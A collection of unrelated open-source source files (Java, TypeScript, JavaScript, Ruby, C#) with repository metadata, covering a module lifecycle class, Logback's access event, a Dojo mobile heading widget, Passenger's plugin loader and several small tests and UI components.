modularity.getGraph().getNode(info.getIdentifier()).getPredecessors(); // TODO somehow implement reload too // TODO disable predecessors for (LifeCycle impl : impls) { impl.disable(); } current = DISABLED; } return this; } private void invoke(Method method) { if (method != null) { if (method.isAnnotationPresent(Setup.class)) { info.injectionPoints().get(SETUP.name(method.getAnnotation(Setup.class).value())) .inject(modularity, this); } else if (method.isAnnotationPresent(Enable.class)) { info.injectionPoints().get(ENABLED.name()).inject(modularity, this); } else { try { method.invoke(instance); } catch (IllegalAccessException e) { throw new IllegalStateException(e); } catch (IllegalArgumentException e) { throw new IllegalStateException(e); } catch (InvocationTargetException e) { throw new IllegalStateException(e); } } } } public boolean isInstantiated() { return instance != null; } private void findMethods() { // find enable and disable methods Class<?> clazz = instance.getClass(); for (Method method : clazz.getMethods()) { if (method.isAnnotationPresent(Enable.class)) { enable = method; } if (method.isAnnotationPresent(Disable.class)) { disable = method; } if (method.isAnnotationPresent(Setup.class)) { int value = method.getAnnotation(Setup.class).value(); setup.put(value, method); } } } public Object getInstance() { return instance; } @SuppressWarnings("unchecked") public Maybe getMaybe(LifeCycle other) { Dependency identifier = other == null ? null : other.getInformation().getIdentifier(); SettableMaybe maybe = maybes.get(identifier); if (maybe == null) { maybe = new SettableMaybe(getProvided(other)); maybes.put(identifier, maybe); } return maybe; } public Object getProvided(LifeCycle lifeCycle) { boolean enable = true; if (info instanceof ModuleMetadata) { enable = false; } if (instance == null) { this.instantiate(); } if (enable) { this.enable(); // Instantiate Setup and enable dependency before providing it to someone else } Object toSet = instance; if (toSet instanceof Provider) { toSet = ((Provider)toSet).get(); } if (toSet instanceof ValueProvider) { toSet = ((ValueProvider)toSet).get(lifeCycle, modularity); } return toSet; } public void addImpl(LifeCycle impl) { this.impls.add(impl); } public DependencyInformation getInformation() { return info; } public enum State { NONE, LOADED, INSTANTIATED, SETUP, ENABLED, DISABLED, SHUTDOWN, PROVIDED // TODO prevent changing / except shutdown? ; public String name(Integer value) { return value == null ? name() : name() + ":" + value; } } @Override public String toString() { return info.getIdentifier().name() + " " + super.toString(); } }
CubeEngine/Modularity
core/src/main/java/de/cubeisland/engine/modularity/core/LifeCycle.java
Java
mit
11,912
import { AppPage } from './app.po'; describe('material2 App', () => { let page: AppPage; beforeEach(() => { page = new AppPage(); }); it('should display welcome message', () => { page.navigateTo(); expect(page.getParagraphText()).toEqual('Welcome to app!'); }); });
dylan-smith/pokerleaguemanager
spikes/Material2/e2e/app.e2e-spec.ts
TypeScript
mit
291
package com.bugsnag; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Conditional; import org.springframework.context.annotation.Configuration; import javax.annotation.PostConstruct; /** * If spring-webmvc is loaded, add configuration for reporting unhandled exceptions. */ @Configuration @Conditional(SpringWebMvcLoadedCondition.class) class MvcConfiguration { @Autowired private Bugsnag bugsnag; /** * Register an exception resolver to send unhandled reports to Bugsnag * for uncaught exceptions thrown from request handlers. */ @Bean BugsnagMvcExceptionHandler bugsnagHandlerExceptionResolver() { return new BugsnagMvcExceptionHandler(bugsnag); } /** * Add a callback to assign specified severities for some Spring exceptions. */ @PostConstruct void addExceptionClassCallback() { bugsnag.addCallback(new ExceptionClassCallback()); } }
bugsnag/bugsnag-java
bugsnag-spring/src/main/java/com/bugsnag/MvcConfiguration.java
Java
mit
1,039
import React, {Component} from 'react'; import MiniInfoBar from '../components/MiniInfoBar'; export default class About extends Component { state = { showKitten: false } handleToggleKitten() { this.setState({showKitten: !this.state.showKitten}); } render() { const {showKitten} = this.state; const kitten = require('./kitten.jpg'); return ( <div> <div className="container"> <h1>About Us</h1> <p>This project was orginally created by Erik Rasmussen (<a href="https://twitter.com/erikras" target="_blank">@erikras</a>), but has since seen many contributions from the open source community. Thank you to <a href="https://github.com/erikras/react-redux-universal-hot-example/graphs/contributors" target="_blank">all the contributors</a>. </p> <h3>Mini Bar <span style={{color: '#aaa'}}>(not that kind)</span></h3> <p>Hey! You found the mini info bar! The following component is display-only. Note that it shows the same time as the info bar.</p> <MiniInfoBar/> <h3>Images</h3> <p> Psst! Would you like to see a kitten? <button className={'btn btn-' + (showKitten ? 'danger' : 'success')} style={{marginLeft: 50}} onClick={::this.handleToggleKitten}> {showKitten ? 'No! Take it away!' : 'Yes! Please!'}</button> </p> {showKitten && <div><img src={kitten}/></div>} </div> </div> ); } }
vbdoug/hot-react
src/views/About.js
JavaScript
mit
1,598
package com.seafile.seadroid2.transfer; /** * Download state listener * */ public interface DownloadStateListener { void onFileDownloadProgress(int taskID); void onFileDownloaded(int taskID); void onFileDownloadFailed(int taskID); }
huangbop/seadroid-build
seadroid/src/main/java/com/seafile/seadroid2/transfer/DownloadStateListener.java
Java
mit
249
package cn.javay.zheng.common.validator; import com.baidu.unbiz.fluentvalidator.ValidationError; import com.baidu.unbiz.fluentvalidator.Validator; import com.baidu.unbiz.fluentvalidator.ValidatorContext; import com.baidu.unbiz.fluentvalidator.ValidatorHandler; /** * 长度校验 * Created by shuzheng on 2017/2/18. */ public class LengthValidator extends ValidatorHandler<String> implements Validator<String> { private int min; private int max; private String fieldName; public LengthValidator(int min, int max, String fieldName) { this.min = min; this.max = max; this.fieldName = fieldName; } @Override public boolean validate(ValidatorContext context, String s) { if (null == s || s.length() > max || s.length() < min) { context.addError(ValidationError.create(String.format("%s长度必须介于%s~%s之间!", fieldName, min, max)) .setErrorCode(-1) .setField(fieldName) .setInvalidValue(s)); return false; } return true; } }
javay/zheng-lite
zheng-common/src/main/java/cn/javay/zheng/common/validator/LengthValidator.java
Java
mit
1,107
define([ "dojo/_base/array", "dojo/_base/connect", "dojo/_base/declare", "dojo/_base/lang", "dojo/_base/window", "dojo/dom", "dojo/dom-class", "dojo/dom-construct", "dojo/dom-style", "dijit/registry", "dijit/_Contained", "dijit/_Container", "dijit/_WidgetBase", "./ProgressIndicator", "./ToolBarButton", "./View", "dojo/has", "dojo/has!dojo-bidi?dojox/mobile/bidi/Heading" ], function(array, connect, declare, lang, win, dom, domClass, domConstruct, domStyle, registry, Contained, Container, WidgetBase, ProgressIndicator, ToolBarButton, View, has, BidiHeading){ // module: // dojox/mobile/Heading var dm = lang.getObject("dojox.mobile", true); var Heading = declare(has("dojo-bidi") ? "dojox.mobile.NonBidiHeading" : "dojox.mobile.Heading", [WidgetBase, Container, Contained],{ // summary: // A widget that represents a navigation bar. // description: // Heading is a widget that represents a navigation bar, which // usually appears at the top of an application. It usually // displays the title of the current view and can contain a // navigational control. If you use it with // dojox/mobile/ScrollableView, it can also be used as a fixed // header bar or a fixed footer bar. In such cases, specify the // fixed="top" attribute to be a fixed header bar or the // fixed="bottom" attribute to be a fixed footer bar. Heading can // have one or more ToolBarButton widgets as its children. // back: String // A label for the navigational control to return to the previous View. back: "", // href: String // A URL to open when the navigational control is pressed. href: "", // moveTo: String // The id of the transition destination of the navigation control. // If the value has a hash sign ('#') before the id (e.g. #view1) // and the dojox/mobile/bookmarkable module is loaded by the user application, // the view transition updates the hash in the browser URL so that the // user can bookmark the destination view. In this case, the user // can also use the browser's back/forward button to navigate // through the views in the browser history. // // If null, transitions to a blank view. // If '#', returns immediately without transition. moveTo: "", // transition: String // A type of animated transition effect. You can choose from the // standard transition types, "slide", "fade", "flip", or from the // extended transition types, "cover", "coverv", "dissolve", // "reveal", "revealv", "scaleIn", "scaleOut", "slidev", // "swirl", "zoomIn", "zoomOut", "cube", and "swap". If "none" is // specified, transition occurs immediately without animation. transition: "slide", // label: String // A title text of the heading. If the label is not specified, the // innerHTML of the node is used as a label. label: "", // iconBase: String // The default icon path for child items. iconBase: "", // tag: String // A name of HTML tag to create as domNode. tag: "h1", // busy: Boolean // If true, a progress indicator spins on this widget. busy: false, // progStyle: String // A css class name to add to the progress indicator. progStyle: "mblProgWhite", /* internal properties */ // baseClass: String // The name of the CSS class of this widget. baseClass: "mblHeading", buildRendering: function(){ if(!this.templateString){ // true if this widget is not templated // Create root node if it wasn't created by _TemplatedMixin this.domNode = this.containerNode = this.srcNodeRef || win.doc.createElement(this.tag); } this.inherited(arguments); if(!this.templateString){ // true if this widget is not templated if(!this.label){ array.forEach(this.domNode.childNodes, function(n){ if(n.nodeType == 3){ var v = lang.trim(n.nodeValue); if(v){ this.label = v; this.labelNode = domConstruct.create("span", {innerHTML:v}, n, "replace"); } } }, this); } if(!this.labelNode){ this.labelNode = domConstruct.create("span", null, this.domNode); } this.labelNode.className = "mblHeadingSpanTitle"; this.labelDivNode = domConstruct.create("div", { className: "mblHeadingDivTitle", innerHTML: this.labelNode.innerHTML }, this.domNode); } dom.setSelectable(this.domNode, false); }, startup: function(){ if(this._started){ return; } var parent = this.getParent && this.getParent(); if(!parent || !parent.resize){ // top level widget var _this = this; setTimeout(function(){ // necessary to render correctly _this.resize(); }, 0); } this.inherited(arguments); }, resize: function(){ if(this.labelNode){ // find the rightmost left button (B), and leftmost right button (C) // +-----------------------------+ // | |A| |B| |C| |D| | // +-----------------------------+ var leftBtn, rightBtn; var children = this.containerNode.childNodes; for(var i = children.length - 1; i >= 0; i--){ var c = children[i]; if(c.nodeType === 1 && domStyle.get(c, "display") !== "none"){ if(!rightBtn && domStyle.get(c, "float") === "right"){ rightBtn = c; } if(!leftBtn && domStyle.get(c, "float") === "left"){ leftBtn = c; } } } if(!this.labelNodeLen && this.label){ this.labelNode.style.display = "inline"; this.labelNodeLen = this.labelNode.offsetWidth; this.labelNode.style.display = ""; } var bw = this.domNode.offsetWidth; // bar width var rw = rightBtn ? bw - rightBtn.offsetLeft + 5 : 0; // rightBtn width var lw = leftBtn ? leftBtn.offsetLeft + leftBtn.offsetWidth + 5 : 0; // leftBtn width var tw = this.labelNodeLen || 0; // title width domClass[bw - Math.max(rw,lw)*2 > tw ? "add" : "remove"](this.domNode, "mblHeadingCenterTitle"); } array.forEach(this.getChildren(), function(child){ if(child.resize){ child.resize(); } }); }, _setBackAttr: function(/*String*/back){ // tags: // private this._set("back", back); if(!this.backButton){ this.backButton = new ToolBarButton({ arrow: "left", label: back, moveTo: this.moveTo, back: !this.moveTo, href: this.href, transition: this.transition, transitionDir: -1 }); this.backButton.placeAt(this.domNode, "first"); }else{ this.backButton.set("label", back); } this.resize(); }, _setMoveToAttr: function(/*String*/moveTo){ // tags: // private this._set("moveTo", moveTo); if(this.backButton){ this.backButton.set("moveTo", moveTo); } }, _setHrefAttr: function(/*String*/href){ // tags: // private this._set("href", href); if(this.backButton){ this.backButton.set("href", href); } }, _setTransitionAttr: function(/*String*/transition){ // tags: // private this._set("transition", transition); if(this.backButton){ this.backButton.set("transition", transition); } }, _setLabelAttr: function(/*String*/label){ // tags: // private this._set("label", label); this.labelNode.innerHTML = this.labelDivNode.innerHTML = this._cv ? this._cv(label) : label; }, _setBusyAttr: function(/*Boolean*/busy){ // tags: // private var prog = this._prog; if(busy){ if(!prog){ prog = this._prog = new ProgressIndicator({size:30, center:false}); domClass.add(prog.domNode, this.progStyle); } domConstruct.place(prog.domNode, this.domNode, "first"); prog.start(); }else if(prog){ prog.stop(); } this._set("busy", busy); } }); return has("dojo-bidi") ? declare("dojox.mobile.Heading", [Heading, BidiHeading]) : Heading; });
aguadev/aguadev
html/dojo-1.8.3/dojox-1.9.0/mobile/Heading.js
JavaScript
mit
7,774
/** @jsx jsx */ import { Editor } from 'slate' import { jsx } from '../..' export const input = ( <editor> <block> <mark key="a"> <anchor />o </mark> n <mark key="b"> e<focus /> </mark> </block> </editor> ) export const run = editor => { return Array.from(Editor.activeMarks(editor, { union: true })) } export const output = [{ key: 'a' }, { key: 'b' }]
isubastiCadmus/slate
packages/slate/test/queries/activeMarks/union.js
JavaScript
mit
418
/** * Logback: the reliable, generic, fast and flexible logging framework. * Copyright (C) 1999-2015, QOS.ch. All rights reserved. * * This program and the accompanying materials are dual-licensed under * either the terms of the Eclipse Public License v1.0 as published by * the Eclipse Foundation * * or (per the licensee's choosing) * * under the terms of the GNU Lesser General Public License version 2.1 * as published by the Free Software Foundation. */ package ch.qos.logback.access.spi; import ch.qos.logback.access.AccessConstants; import ch.qos.logback.access.pattern.AccessConverter; import ch.qos.logback.access.servlet.Util; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.Serializable; import java.util.ArrayList; import java.util.Enumeration; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.TreeMap; import java.util.Vector; // Contributors: Joern Huxhorn (see also bug #110) /** * The Access module's internal representation of logging events. When the * logging component instance is called in the container to log then a * <code>AccessEvent</code> instance is created. This instance is passed * around to the different logback components. * * @author Ceki G&uuml;lc&uuml; * @author S&eacute;bastien Pennec */ public class AccessEvent implements Serializable, IAccessEvent { private static final long serialVersionUID = 866718993618836343L; private static final String EMPTY = ""; private transient final HttpServletRequest httpRequest; private transient final HttpServletResponse httpResponse; String requestURI; String requestURL; String remoteHost; String remoteUser; String remoteAddr; String protocol; String method; String serverName; String requestContent; String responseContent; long elapsedTime; Map<String, String> requestHeaderMap; Map<String, String[]> requestParameterMap; Map<String, String> responseHeaderMap; Map<String, Object> attributeMap; long contentLength = SENTINEL; int statusCode = SENTINEL; int localPort = SENTINEL; transient ServerAdapter serverAdapter; /** * The number of milliseconds elapsed from 1/1/1970 until logging event was * created. */ private long timeStamp = 0; public AccessEvent(HttpServletRequest httpRequest, HttpServletResponse httpResponse, ServerAdapter adapter) { this.httpRequest = httpRequest; this.httpResponse = httpResponse; this.timeStamp = System.currentTimeMillis(); this.serverAdapter = adapter; this.elapsedTime = calculateElapsedTime(); } /** * Returns the underlying HttpServletRequest. After serialization the returned * value will be null. * * @return */ @Override public HttpServletRequest getRequest() { return httpRequest; } /** * Returns the underlying HttpServletResponse. After serialization the returned * value will be null. * * @return */ @Override public HttpServletResponse getResponse() { return httpResponse; } @Override public long getTimeStamp() { return timeStamp; } public void setTimeStamp(long timeStamp) { if (this.timeStamp != 0) { throw new IllegalStateException( "timeStamp has been already set for this event."); } else { this.timeStamp = timeStamp; } } @Override public String getRequestURI() { if (requestURI == null) { if (httpRequest != null) { requestURI = httpRequest.getRequestURI(); } else { requestURI = NA; } } return requestURI; } /** * The first line of the request. */ @Override public String getRequestURL() { if (requestURL == null) { if (httpRequest != null) { StringBuilder buf = new StringBuilder(); buf.append(httpRequest.getMethod()); buf.append(AccessConverter.SPACE_CHAR); buf.append(httpRequest.getRequestURI()); final String qStr = httpRequest.getQueryString(); if (qStr != null) { buf.append(AccessConverter.QUESTION_CHAR); buf.append(qStr); } buf.append(AccessConverter.SPACE_CHAR); buf.append(httpRequest.getProtocol()); requestURL = buf.toString(); } else { requestURL = NA; } } return requestURL; } @Override public String getRemoteHost() { if (remoteHost == null) { if (httpRequest != null) { // the underlying implementation of HttpServletRequest will // determine if remote lookup will be performed remoteHost = httpRequest.getRemoteHost(); } else { remoteHost = NA; } } return remoteHost; } @Override public String getRemoteUser() { if (remoteUser == null) { if (httpRequest != null) { remoteUser = httpRequest.getRemoteUser(); } else { remoteUser = NA; } } return remoteUser; } @Override public String getProtocol() { if (protocol == null) { if (httpRequest != null) { protocol = httpRequest.getProtocol(); } else { protocol = NA; } } return protocol; } @Override public String getMethod() { if (method == null) { if (httpRequest != null) { method = httpRequest.getMethod(); } else { method = NA; } } return method; } @Override public String getServerName() { if (serverName == null) { if (httpRequest != null) { serverName = httpRequest.getServerName(); } else { serverName = NA; } } return serverName; } @Override public String getRemoteAddr() { if (remoteAddr == null) { if (httpRequest != null) { remoteAddr = httpRequest.getRemoteAddr(); } else { remoteAddr = NA; } } return remoteAddr; } @Override public String getRequestHeader(String key) { String result = null; key = key.toLowerCase(); if (requestHeaderMap == null) { if (httpRequest != null) { buildRequestHeaderMap(); result = requestHeaderMap.get(key); } } else { result = requestHeaderMap.get(key); } if (result != null) { return result; } else { return NA; } } @Override public Enumeration getRequestHeaderNames() { // post-serialization if (httpRequest == null) { Vector<String> list = new Vector<String>(getRequestHeaderMap().keySet()); return list.elements(); } return httpRequest.getHeaderNames(); } @Override public Map<String, String> getRequestHeaderMap() { if (requestHeaderMap == null) { buildRequestHeaderMap(); } return requestHeaderMap; } public void buildRequestHeaderMap() { // according to RFC 2616 header names are case insensitive // latest versions of Tomcat return header names in lower-case requestHeaderMap = new TreeMap<String, String>(String.CASE_INSENSITIVE_ORDER); Enumeration e = httpRequest.getHeaderNames(); if (e == null) { return; } while (e.hasMoreElements()) { String key = (String) e.nextElement(); requestHeaderMap.put(key, httpRequest.getHeader(key)); } } public void buildRequestParameterMap() { requestParameterMap = new HashMap<String, String[]>(); Enumeration e = httpRequest.getParameterNames(); if (e == null) { return; } while (e.hasMoreElements()) { String key = (String) e.nextElement(); requestParameterMap.put(key, httpRequest.getParameterValues(key)); } } @Override public Map<String, String[]> getRequestParameterMap() { if (requestParameterMap == null) { buildRequestParameterMap(); } return requestParameterMap; } @Override public String getAttribute(String key) { Object value = null; if (attributeMap != null) { // Event was prepared for deferred processing so we have a copy of attribute map and must use that copy value = attributeMap.get(key); } else if (httpRequest != null) { // We have original request so take attribute from it value = httpRequest.getAttribute(key); } return value != null ? value.toString() : NA; } private void copyAttributeMap() { if (httpRequest == null) { return; } attributeMap = new HashMap<String, Object>(); Enumeration<String> names = httpRequest.getAttributeNames(); while (names.hasMoreElements()) { String name = names.nextElement(); Object value = httpRequest.getAttribute(name); if (shouldCopyAttribute(name, value)) { attributeMap.put(name, value); } } } private boolean shouldCopyAttribute(String name, Object value) { if (AccessConstants.LB_INPUT_BUFFER.equals(name) || AccessConstants.LB_OUTPUT_BUFFER.equals(name)) { // Do not copy attributes used by logback internally - these are available via other getters anyway return false; } else if (value == null) { // No reasons to copy nulls - Map.get() will return null for missing keys and the list of attribute // names is not available through IAccessEvent return false; } else { // Only copy what is serializable return value instanceof Serializable; } } @Override public String[] getRequestParameter(String key) { if (httpRequest != null) { String[] value = httpRequest.getParameterValues(key); if (value == null) { return new String[]{ NA }; } else { return value; } } else { return new String[]{ NA }; } } @Override public String getCookie(String key) { if (httpRequest != null) { Cookie[] cookieArray = httpRequest.getCookies(); if (cookieArray == null) { return NA; } for (Cookie cookie : cookieArray) { if (key.equals(cookie.getName())) { return cookie.getValue(); } } } return NA; } @Override public long getContentLength() { if (contentLength == SENTINEL) { if (httpResponse != null) { contentLength = serverAdapter.getContentLength(); return contentLength; } } return contentLength; } public int getStatusCode() { if (statusCode == SENTINEL) { if (httpResponse != null) { statusCode = serverAdapter.getStatusCode(); } } return statusCode; } public long getElapsedTime() { return elapsedTime; } private long calculateElapsedTime() { if (serverAdapter.getRequestTimestamp() < 0) { return -1; } return getTimeStamp() - serverAdapter.getRequestTimestamp(); } public String getRequestContent() { if (requestContent != null) { return requestContent; } if (Util.isFormUrlEncoded(httpRequest)) { StringBuilder buf = new StringBuilder(); Enumeration pramEnumeration = httpRequest.getParameterNames(); // example: id=1234&user=cgu // number=1233&x=1 int count = 0; try { while (pramEnumeration.hasMoreElements()) { String key = (String) pramEnumeration.nextElement(); if (count++ != 0) { buf.append("&"); } buf.append(key); buf.append("="); String val = httpRequest.getParameter(key); if (val != null) { buf.append(val); } else { buf.append(""); } } } catch (Exception e) { // FIXME Why is try/catch required? e.printStackTrace(); } requestContent = buf.toString(); } else { // retrieve the byte array placed by TeeFilter byte[] inputBuffer = (byte[]) httpRequest .getAttribute(AccessConstants.LB_INPUT_BUFFER); if (inputBuffer != null) { requestContent = new String(inputBuffer); } if (requestContent == null || requestContent.length() == 0) { requestContent = EMPTY; } } return requestContent; } public String getResponseContent() { if (responseContent != null) { return responseContent; } if (Util.isImageResponse(httpResponse)) { responseContent = "[IMAGE CONTENTS SUPPRESSED]"; } else { // retreive the byte array previously placed by TeeFilter byte[] outputBuffer = (byte[]) httpRequest .getAttribute(AccessConstants.LB_OUTPUT_BUFFER); if (outputBuffer != null) { responseContent = new String(outputBuffer); } if (responseContent == null || responseContent.length() == 0) { responseContent = EMPTY; } } return responseContent; } public int getLocalPort() { if (localPort == SENTINEL) { if (httpRequest != null) { localPort = httpRequest.getLocalPort(); } } return localPort; } public ServerAdapter getServerAdapter() { return serverAdapter; } public String getResponseHeader(String key) { buildResponseHeaderMap(); return responseHeaderMap.get(key); } void buildResponseHeaderMap() { if (responseHeaderMap == null) { responseHeaderMap = serverAdapter.buildResponseHeaderMap(); } } public Map<String, String> getResponseHeaderMap() { buildResponseHeaderMap(); return responseHeaderMap; } public List<String> getResponseHeaderNameList() { buildResponseHeaderMap(); return new ArrayList<String>(responseHeaderMap.keySet()); } public void prepareForDeferredProcessing() { getRequestHeaderMap(); getRequestParameterMap(); getResponseHeaderMap(); getLocalPort(); getMethod(); getProtocol(); getRemoteAddr(); getRemoteHost(); getRemoteUser(); getRequestURI(); getRequestURL(); getServerName(); getTimeStamp(); getElapsedTime(); getStatusCode(); getContentLength(); getRequestContent(); getResponseContent(); copyAttributeMap(); } }
cscfa/bartleby
library/logBack/logback-1.1.3/logback-access/src/main/java/ch/qos/logback/access/spi/AccessEvent.java
Java
mit
14,592
package appalounge; import org.json.JSONArray; import org.json.JSONObject; import resources.Constructors; import resources.exceptions.ApiException; import resources.exceptions.AuthRequiredException; import resources.exceptions.BadRequestException; import resources.exceptions.DataNotSetException; import resources.infrastructure.EasyApiComponent; /** * Returns an array of the announcements made on APPA Lounge * @author Aaron Vontell * @date 10/16/2015 * @version 0.1 */ public class APPAAnnounce implements EasyApiComponent{ private String url = ""; private JSONArray result; private String[] message; private String[] creator; private String[] created; /** * Create an announcement object */ protected APPAAnnounce() { url = AppaLounge.BASE_URL + "announcements/2/"; } /** * Downloads and parses all data from the given information */ @Override public void downloadData() throws ApiException, BadRequestException, DataNotSetException, AuthRequiredException { try { result = Constructors.constructJSONArray(url); message = new String[result.length()]; creator = new String[result.length()]; created = new String[result.length()]; for(int i = 0; i < result.length(); i++){ String mes = result.getJSONObject(i).getString("message"); String user = result.getJSONObject(i).getString("creator"); String date = result.getJSONObject(i).getString("created"); message[i] = mes; creator[i] = user; created[i] = date; } } catch (Exception e) { throw new ApiException("API Error: " + result.toString()); } } /** * Get the number of announcements * @return announcement amount */ public int getNumAnnouncements(){ return message.length; } /** * Get the message at a certain index * @param i The num message to get * @return The message at that position */ public String getMessageAt(int i){ return message[i]; } /** * Get the user at a certain index * @param i The num user to get * @return The user at that position */ public String getCreatorAt(int i){ return creator[i]; } /** * Get the date at a certain index * @param i The num date to get * @return The date at that position */ public String getCreatedAt(int i){ return created[i]; } @Override public String getRawData() { if(result != null){ return result.toString(); } else { return "No data"; } } }
vontell/EasyAPI
build/resources/main/appalounge/APPAAnnounce.java
Java
mit
2,768
package com.carlisle.incubators.PopupWindow; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v7.app.AppCompatActivity; import android.view.View; import com.carlisle.incubators.R; /** * Created by chengxin on 11/24/16. */ public class PopupWindowActivity extends AppCompatActivity { private PopupView popupView; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_popup_window); popupView = new PopupView(this); } public void onButtonClick(View view) { //popupView.showAsDropDown(view); popupView.showAsDropUp(view); } }
CarlisleChan/Incubators
app/src/main/java/com/carlisle/incubators/PopupWindow/PopupWindowActivity.java
Java
mit
728
# Load the rails application require File.expand_path('../application', __FILE__) # Initialize the rails application Serenghetto::Application.initialize!
randomm/serenghetto-server
config/environment.rb
Ruby
mit
155
# Phusion Passenger - https://www.phusionpassenger.com/ # Copyright (c) 2010 Phusion Holding B.V. # # "Passenger", "Phusion Passenger" and "Union Station" are registered # trademarks of Phusion Holding B.V. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. require 'etc' module PhusionPassenger class Plugin @@hooks = {} @@classes = {} def self.load(name, load_once = true) PLUGIN_DIRS.each do |plugin_dir| if plugin_dir =~ /\A~/ # File.expand_path uses ENV['HOME'] which we don't want. home = Etc.getpwuid(Process.uid).dir plugin_dir = plugin_dir.sub(/\A~/, home) end plugin_dir = File.expand_path(plugin_dir) Dir["#{plugin_dir}/*/#{name}.rb"].each do |filename| if load_once require(filename) else load(filename) end end end end def self.register_hook(name, &block) hooks_list = (@@hooks[name] ||= []) hooks_list << block end def self.call_hook(name, *args, &block) last_result = nil if (hooks_list = @@hooks[name]) hooks_list.each do |callback| last_result = callback.call(*args, &block) end end return last_result end def self.register(name, klass) classes = (@@classes[name] ||= []) classes << klass end def initialize(name, *args, &block) Plugin.load(name) classes = @@classes[name] if classes @instances = classes.map do |klass| klass.new(*args, &block) end else return nil end end def call_hook(name, *args, &block) last_result = nil if @instances @instances.each do |instance| if instance.respond_to?(name.to_sym) last_result = instance.__send__(name.to_sym, *args, &block) end end end return last_result end end end # module PhusionPassenger
clemensg/passenger
src/ruby_supportlib/phusion_passenger/plugin.rb
Ruby
mit
2,994
// ReSharper disable RedundantNameQualifier // ReSharper disable InconsistentNaming namespace Gu.Analyzers.Benchmarks.Benchmarks { public class GU0050IgnoreEventsWhenSerializingBenchmarks { private static readonly Gu.Roslyn.Asserts.Benchmark Benchmark = Gu.Roslyn.Asserts.Benchmark.Create(Code.AnalyzersProject, new Gu.Analyzers.GU0050IgnoreEventsWhenSerializing()); [BenchmarkDotNet.Attributes.Benchmark] public void RunOnGuAnalyzersProject() { Benchmark.Run(); } } }
JohanLarsson/Gu.Analyzers
Gu.Analyzers.Benchmarks/Benchmarks/GU0050IgnoreEventsWhenSerializingBenchmarks.cs
C#
mit
534
/*- * See the file LICENSE for redistribution information. * * Copyright (c) 2002,2008 Oracle. All rights reserved. * * $Id: EntityConverter.java,v 1.11 2008/01/07 14:28:58 cwl Exp $ */ package com.sleepycat.persist.evolve; import java.util.Collections; import java.util.HashSet; import java.util.Set; /** * A subclass of Converter that allows specifying keys to be deleted. * * <p>When a Converter is used with an entity class, secondary keys cannot be * automatically deleted based on field deletion, because field Deleter objects * are not used in conjunction with a Converter mutation. The EntityConverter * can be used instead of a plain Converter to specify the key names to be * deleted.</p> * * <p>It is not currently possible to rename or insert secondary keys when * using a Converter mutation with an entity class.</p> * * @see Converter * @see com.sleepycat.persist.evolve Class Evolution * @author Mark Hayes */ public class EntityConverter extends Converter { private static final long serialVersionUID = -988428985370593743L; private Set<String> deletedKeys; /** * Creates a mutation for converting all instances of the given entity * class version to the current version of the class. */ public EntityConverter(String entityClassName, int classVersion, Conversion conversion, Set<String> deletedKeys) { super(entityClassName, classVersion, null, conversion); /* Eclipse objects to assigning with a ternary operator. */ if (deletedKeys != null) { this.deletedKeys = new HashSet(deletedKeys); } else { this.deletedKeys = Collections.emptySet(); } } /** * Returns the set of key names that are to be deleted. */ public Set<String> getDeletedKeys() { return Collections.unmodifiableSet(deletedKeys); } /** * Returns true if the deleted and renamed keys are equal in this object * and given object, and if the {@link Converter#equals} superclass method * returns true. */ @Override public boolean equals(Object other) { if (other instanceof EntityConverter) { EntityConverter o = (EntityConverter) other; return deletedKeys.equals(o.deletedKeys) && super.equals(other); } else { return false; } } @Override public int hashCode() { return deletedKeys.hashCode() + super.hashCode(); } @Override public String toString() { return "[EntityConverter " + super.toString() + " DeletedKeys: " + deletedKeys + ']'; } }
plast-lab/DelphJ
examples/berkeleydb/com/sleepycat/persist/evolve/EntityConverter.java
Java
mit
2,735
/* * Popular Repositories * Copyright (c) 2014 Alberto Congiu (@4lbertoC) * * This source code is licensed under the MIT license found in the * LICENSE.txt file in the root directory of this source tree. */ 'use strict'; var React = require('react'); /** * Like Array.map(), but on an object's own properties. * Returns an array. * * @param {object} obj The object to call the function on. * @param {function(*, string)} func The function to call on each * of the object's properties. It takes as input parameters the * value and the key of the current property. * @returns {Array} The result. */ function mapObject(obj, func) { var results = []; if (obj) { for(var key in obj) { if (obj.hasOwnProperty(key)) { results.push(func(obj[key], key)); } } } return results; } /** * A component that displays a GitHub repo's languages. * * @prop {GitHubRepoLanguages} gitHubRepoLanguages. */ var LanguageList = React.createClass({ propTypes: { gitHubRepoLanguages: React.PropTypes.object.isRequired }, render() { var gitHubRepoLanguages = this.props.gitHubRepoLanguages; /* jshint ignore:start */ return ( <div className="text-center language-list"> {mapObject(gitHubRepoLanguages, (percentage, languageName) => { return ( <div className="language" key={languageName}> <h3 className="language-name">{languageName}</h3> <h5 className="language-percentage">{percentage}</h5> </div> ); })} </div> ); /* jshint ignore:end */ } }); module.exports = LanguageList;
4lbertoC/popularrepositories
src/components/layout/LanguageList.js
JavaScript
mit
1,648
